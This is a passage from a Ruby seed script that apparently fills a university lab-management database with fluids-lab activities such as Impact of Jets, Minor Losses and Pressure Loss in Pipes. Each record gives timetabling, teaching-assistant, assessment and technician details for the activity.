$ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a138.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a138.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a139 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV104\").first.id, code: \"412\").first_or_create!(name: \"Impact of Jets\",\n name_abrv: \"IMPACTJETS\", archived: false, in_drive: true, user_id: 1)\n at139 = ActivityTimetable.where(activity_id: a139.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 10, max_week_num: 11, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a139.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/yabu3gps\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a139.id).first_or_create!(criteria: \"Understanding of conservation of momentum\",\n job_desc:\"A jet of varying diameter is fired on various shaped vanes. The force the vane is exposed to, based on masses on a platform, is recorded. This is compared to the theory of conservation of momentum. \n Marking is done after the lab. Students submit a short (1 page) report which is marked on a 5 point scale using turn-it-in.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a139.id).first_or_create!(assess_weight: nil, notes: \"One of the lab activites will be used as part of the CIV104 exam\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a139.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a139.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a140 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE104\").first.id, code: \"412\").first_or_create!(name: \"Impact of Jets\",\n name_abrv: \"IMPACTJETS\", archived: false, in_drive: true, user_id: 5)\n at140 = ActivityTimetable.where(activity_id: a140.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 4, max_week_num: 4, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a140.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y7pzg2ut\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a140.id).first_or_create!(criteria: \"Understanding of conservation of momentum\",\n job_desc:\"A jet of varying diameter is fired on various shaped vanes. The force the vane is exposed to, based on masses on a platform, is recorded. This is compared to the theory of conservation of momentum. \n Marking is done after the lab. Students submit a short (1 page) report which is marked on a 5 point scale using turn-it-in.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a140.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a140.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a140.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a141 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC208\").first.id, code: \"412\").first_or_create!(name: \"Impact of Jets\",\n name_abrv: \"IMPACTJETS\", archived: true, in_drive: true, user_id: 4)\n at141 = ActivityTimetable.where(activity_id: a141.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a141.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y9qwwhzl\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a141.id).first_or_create!(criteria: \"Understanding of conservation of momentum\",\n job_desc:\"A jet of varying diameter is fired on various shaped vanes. The force the vane is exposed to, based on masses on a platform, is recorded. This is compared to the theory of conservation of momentum. \n Marking is done after the lab. Students submit a short (1 page) report which is marked on a 5 point scale using turn-it-in.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a141.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a141.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a141.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a142 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC208\").first.id, code: \"412\").first_or_create!(name: \"Impact of Jets\",\n name_abrv: \"IMPACTJETS\", archived: false, in_drive: true, user_id: 2)\n at142 = ActivityTimetable.where(activity_id: a142.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a142.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y7wjrgm4\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a142.id).first_or_create!(criteria: \"Understanding of conservation of momentum\",\n job_desc:\"A jet of varying diameter is fired on various shaped vanes. The force the vane is exposed to, based on masses on a platform, is recorded. This is compared to the theory of conservation of momentum. \n Marking is done after the lab. Students submit a short (1 page) report which is marked on a 5 point scale using turn-it-in.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a142.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a142.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a142.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a143 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR222\").first.id, code: \"419\").first_or_create!(name: \"Major and Minor Losses\",\n name_abrv: \"MAJORMINOR\", archived: false, in_drive: true, user_id: 2)\n at143 = ActivityTimetable.where(activity_id: a143.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 6, max_week_num: 6, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a143.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a143.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a143.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a143.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a143.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a144 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE104\").first.id, code: \"419\").first_or_create!(name: \"Major and Minor Losses\",\n name_abrv: \"MAJORMINOR\", archived: false, in_drive: true, user_id: 5)\n at144 = ActivityTimetable.where(activity_id: a144.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 7, max_week_num: 7, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a144.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/z4kbm44\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a144.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and Moody diagram theory.\",\n job_desc:\"The speed of water is varied though a variety of pipe diameters and roughness. The pressure loss is also measured, allowing the moody diagram to be recreated and compared to one previously produced.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a144.id).first_or_create!(assess_weight: 5.0, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a144.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a144.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a145 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC133\").first.id, code: \"413\").first_or_create!(name: \"First Law Pumps and Turbines\",\n name_abrv: \"1STLAWPUMP\", archived: false, in_drive: true, user_id: 1)\n at145 = ActivityTimetable.where(activity_id: a145.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 2, max_week_num: 2, pref_room_id: $room_fl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 120, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a145.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"http://tinyurl.com/npbx2ko\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a145.id).first_or_create!(criteria: \"An understanding of first principles, energy usage and efficiency. Knowledge of characteristic curves would be beneficial.\",\n job_desc:\"Computer controlled pump and turbine units are experimented with to determine the ratio of energy conversation between hydraulic and mechanical/electrical.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a145.id).first_or_create!(assess_weight: nil, notes: \"Post lab quiz\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a145.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a145.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a146 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC162\").first.id, code: \"413\").first_or_create!(name: \"First Law Pumps and Turbines\",\n name_abrv: \"1STLAWPUMP\", archived: false, in_drive: false, user_id: 3)\n at146 = ActivityTimetable.where(activity_id: a146.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 2, max_week_num: 2, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 120, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a146.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/ydd9x9tm\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a146.id).first_or_create!(criteria: \"An understanding of first principles, energy usage and efficiency. Knowledge of characteristic curves would be beneficial.\",\n job_desc:\"Computer controlled pump and turbine units are experimented with to determine the ratio of energy conversation between hydraulic and mechanical/electrical.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a146.id).first_or_create!(assess_weight: nil, notes: \"I don't know who runs this module - it is an odd one for arch eng students\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a146.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a146.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a147 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode3\").first_or_create!(name: \"Measurement Lab\",\n name_abrv: \"MEASUREMENT\", archived: false, in_drive: true, user_id: 3)\n at147 = ActivityTimetable.where(activity_id: a147.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: 2, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a147.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"http://tinyurl.com/pnm2bq4\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a147.id).first_or_create!(criteria: \"Basic understanding of hydrodynamics, flow measurement techniques and error/uncertainty\",\n job_desc:\"An introductory lab for first year undergraduate students. Helping students to use the hydraulic benches for the first time and to understand the concepts of error and uncertainty.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a147.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a147.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n\n\n a148 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV6733\").first.id, code: \"415\").first_or_create!(name: \"Measurement lab plus\",\n name_abrv: \"DATAPLUS\", archived: false, in_drive: false, user_id: 3)\n at148 = ActivityTimetable.where(activity_id: a148.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 2, max_week_num: 2, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a148.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/ya8awfxx\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a148.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a148.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a148.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a148.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a149 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV2300\").first.id, code: \"416\").first_or_create!(name: \"Minor Losses\",\n name_abrv: \"MINORLOSS\", archived: false, in_drive: false, user_id: 1)\n at149 = ActivityTimetable.where(activity_id: a149.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 4, max_week_num: 4, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a149.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"http://tinyurl.com/nojav7n\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a149.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and frictional losses in pipe fittings.\",\n job_desc:\"The hydraulic bench supplied water to a range of pipe fittings. The flow rate can be altered and measured, and water manometers record the head loss. The results are used to calculate the loss coefficients for the fittings.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a149.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a149.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a149.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a150 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV6733\").first.id, code: \"416\").first_or_create!(name: \"Minor Losses\",\n name_abrv: \"MINORLOSS\", archived: false, in_drive: false, user_id: 3)\n at150 = ActivityTimetable.where(activity_id: a150.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 5, max_week_num: 5, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a150.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/yxswpben\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a150.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a150.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a150.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a150.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a151 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC133\").first.id, code: \"416\").first_or_create!(name: \"Minor Losses\",\n name_abrv: \"MINORLOSS\", archived: false, in_drive: true, user_id: 3)\n at151 = ActivityTimetable.where(activity_id: a151.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 11, max_week_num: 11, pref_room_id: $room_fl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a151.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/ovyq7rl\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a151.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and frictional losses in pipe fittings.\",\n job_desc:\"The hydraulic bench supplied water to a range of pipe fittings. The flow rate can be altered and measured, and water manometers record the head loss. The results are used to calculate the loss coefficients for the fittings.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a151.id).first_or_create!(assess_weight: nil, notes: \"Post lab quiz\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a151.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a151.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a152 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC162\").first.id, code: \"416\").first_or_create!(name: \"Minor Losses\",\n name_abrv: \"MINORLOSS\", archived: false, in_drive: true, user_id: 5)\n at152 = ActivityTimetable.where(activity_id: a152.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 11, max_week_num: 11, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a152.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/ybo5vgmz\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a152.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and frictional losses in pipe fittings.\",\n job_desc:\"The hydraulic bench supplied water to a range of pipe fittings. The flow rate can be altered and measured, and water manometers record the head loss. The results are used to calculate the loss coefficients for the fittings.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a152.id).first_or_create!(assess_weight: nil, notes: \"I don't know who runs this module - it is an odd one for arch eng students\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: nil)\n ActivityTech.where(activity_id: a152.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a152.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a153 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV2300\").first.id, code: \"417\").first_or_create!(name: \"Network of Pipes\",\n name_abrv: \"NETPIPES\", archived: false, in_drive: false, user_id: 2)\n at153 = ActivityTimetable.where(activity_id: a153.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 240, takedown_time: 120, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a153.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/yby2as9u\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a153.id).first_or_create!(criteria: \"Undertanding frictional losses in piping networks and hardy cross method for civil engineering students\",\n job_desc:\"Students are supplied with a network of pipes, in which the network layout and diameters of pipes can be altered. The flow through two outlet ports and pressure drop across all pipes can be recorded, and compared to the hardy cross method to predict the results.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a153.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a153.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a153.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a154 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV2300\").first.id, code: \"418\").first_or_create!(name: \"Open Channel Self Teach Lab\",\n name_abrv: \"FLUME\", archived: false, in_drive: true, user_id: 3)\n at154 = ActivityTimetable.where(activity_id: a154.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 6, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a154.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"http://tinyurl.com/oby5tq9\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a154.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a154.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a154.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a154.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a156 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR136\").first.id, code: \"419\").first_or_create!(name: \"Pressure Loss in Pipes\",\n name_abrv: \"PIPELOSS\", archived: false, in_drive: false, user_id: 5)\n at156 = ActivityTimetable.where(activity_id: a156.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 11, max_week_num: 11, pref_room_id: $room_fl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a156.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y85r57gr\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a156.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and Moody diagram theory.\",\n job_desc:\"The speed of water is varied though a variety of pipe diameters and roughness. The pressure loss is also measured, allowing the moody diagram to be recreated and compared to one previously produced.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a156.id).first_or_create!(assess_weight: 5.0, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 3)\n ActivityTech.where(activity_id: a156.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a156.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a157 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV2300\").first.id, code: \"419\").first_or_create!(name: \"Pressure Loss in Pipes\",\n name_abrv: \"PIPELOSS\", archived: false, in_drive: true, user_id: 4)\n at157 = ActivityTimetable.where(activity_id: a157.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a157.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/ycc92c93\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a157.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and Moody diagram theory.\",\n job_desc:\"The speed of water is varied though a variety of pipe diameters and roughness. The pressure loss is also measured, allowing the moody diagram to be recreated and compared to one previously produced.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a157.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a157.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a157.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a158 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV6733\").first.id, code: \"419\").first_or_create!(name: \"Pressure Loss in Pipes\",\n name_abrv: \"PIPELOSS\", archived: false, in_drive: true, user_id: 5)\n at158 = ActivityTimetable.where(activity_id: a158.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 4, max_week_num: 4, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: 